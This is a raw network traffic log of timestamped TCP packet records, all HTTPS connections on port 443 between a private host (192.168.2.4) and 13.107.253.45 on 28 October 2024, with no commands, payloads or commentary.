Oct 28, 2024 19:12:18.661534071 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.662795067 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.662825108 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.662868977 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.662883043 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.664154053 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.664254904 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.664335012 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.664840937 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.664870977 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.665735960 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.665744066 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:18.665827990 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.665915966 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:18.665921926 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.415170908 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.416110039 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.416137934 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.416429996 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.417349100 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.417370081 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.417642117 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.417668104 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.418076992 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.418085098 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.419065952 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.419388056 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.419440985 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.419800043 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.419817924 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.420757055 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.421168089 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.421197891 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.421679020 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.421688080 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.421873093 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.422485113 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.422537088 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.422863960 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.422878981 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.552208900 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.552495956 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.552692890 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.552797079 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.552823067 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.552831888 CET	49765	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.552839994 CET	443	49765	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.553256989 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.553498983 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.553555012 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.554828882 CET	49764	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.554841995 CET	443	49764	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.556025982 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.556077957 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.556185007 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.556269884 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.556370974 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.556422949 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.557332993 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.557332993 CET	49766	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.557338953 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.557351112 CET	443	49766	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.559290886 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.559290886 CET	49762	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.559305906 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.559318066 CET	443	49762	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.559907913 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.561343908 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.561520100 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.562742949 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.562793016 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.562843084 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.564460039 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.564553022 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.564723969 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.576786995 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.576811075 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.576869011 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.577872992 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.577886105 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.578072071 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.578072071 CET	49763	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.578107119 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.578135014 CET	443	49763	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.580862999 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.580888987 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.580893993 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.580924988 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.580957890 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.581001997 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.581037045 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.581238031 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.581264973 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.582395077 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.582412958 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:19.582490921 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.583163023 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:19.583179951 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.332714081 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.333153963 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.333903074 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.334537983 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.334589958 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.335078955 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.335093975 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.336333990 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.336361885 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.336715937 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.336720943 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.341341019 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.341360092 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.341758013 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.341762066 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.342643976 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.342972994 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.342981100 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.343266964 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.343272924 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.346470118 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.346818924 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.346853018 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.347218037 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.347229958 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.471781015 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472151995 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472186089 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472253084 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472259998 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472335100 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472335100 CET	49767	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472343922 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472376108 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472403049 CET	443	49767	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472606897 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472606897 CET	49768	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.472650051 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.472676039 CET	443	49768	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.475104094 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475119114 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475142002 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.475203991 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.475208998 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475263119 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475348949 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475361109 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.475420952 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.475461006 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.476495981 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.476865053 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.476913929 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.476934910 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.476948977 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.476964951 CET	49769	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.476972103 CET	443	49769	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.479332924 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.479342937 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.479408026 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.479753971 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.479763985 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.479872942 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.480022907 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.480068922 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.480634928 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.480653048 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.480664015 CET	49771	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.480668068 CET	443	49771	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.482414961 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.482441902 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.482498884 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.482608080 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.482619047 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.488452911 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.488511086 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.488574028 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.488672018 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.488691092 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.488715887 CET	49770	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.488729000 CET	443	49770	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.490356922 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.490400076 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:20.490467072 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.490580082 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:20.490631104 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.228610039 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.229494095 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.229520082 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.229883909 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.229888916 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.232635021 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.232891083 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.232904911 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.233225107 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.233231068 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.236207008 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.236434937 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.236454010 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.236761093 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.236766100 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.247570038 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.247806072 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.247865915 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.248187065 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.248199940 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.248910904 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.249159098 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.249167919 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.249432087 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.249435902 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.366322994 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.366401911 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.366632938 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.366689920 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.366729021 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.366781950 CET	49774	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.366796970 CET	443	49774	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.369745016 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.369786024 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.369927883 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.370096922 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.370110035 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.373893976 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.374034882 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.374128103 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.374202013 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.374202013 CET	49776	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.374212027 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.374219894 CET	443	49776	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.376557112 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.376606941 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.376919031 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.376919031 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.376965046 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.377305984 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.377366066 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.377531052 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.377531052 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.377531052 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.380157948 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.380194902 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.380408049 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.380644083 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.380656958 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.384850979 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.385025978 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.385106087 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.385245085 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.385245085 CET	49777	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.385270119 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.385294914 CET	443	49777	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.386984110 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.387027979 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.387111902 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.387244940 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.387259960 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.390518904 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.390573978 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.390712023 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.390768051 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.390783072 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.390815973 CET	49773	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.390820980 CET	443	49773	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.392853975 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.392879009 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.392954111 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.393098116 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.393101931 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:21.681744099 CET	49775	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:21.681756973 CET	443	49775	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.153451920 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.155158043 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.155170918 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.155785084 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.155791044 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.161062956 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.161493063 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.161510944 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.161958933 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.161964893 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.170928955 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.171354055 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.171365023 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.171715975 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.171721935 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.172296047 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.172555923 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.172563076 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.172893047 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.172897100 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.175718069 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.176008940 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.176069975 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.176309109 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.176323891 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.288960934 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.289339066 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.290585995 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.290810108 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.290810108 CET	49780	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.290832996 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.290841103 CET	443	49780	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.293685913 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.293757915 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.293843985 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.293976068 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.294008970 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.300751925 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.301790953 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.301860094 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.302086115 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.302102089 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.302114010 CET	49778	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.302119017 CET	443	49778	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.304344893 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.304410934 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.304502964 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.304611921 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.304640055 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.308912992 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.309043884 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.309117079 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.309262991 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.309263945 CET	49781	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.309288025 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.309302092 CET	443	49781	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.311351061 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.311589956 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.311686993 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312069893 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312104940 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.312112093 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.312144041 CET	49779	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312159061 CET	443	49779	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.312172890 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.312247992 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312339067 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312339067 CET	49782	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.312345982 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.312352896 CET	443	49782	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.313494921 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.313560963 CET	443	49785	13.107.253.45	192.168.2.4
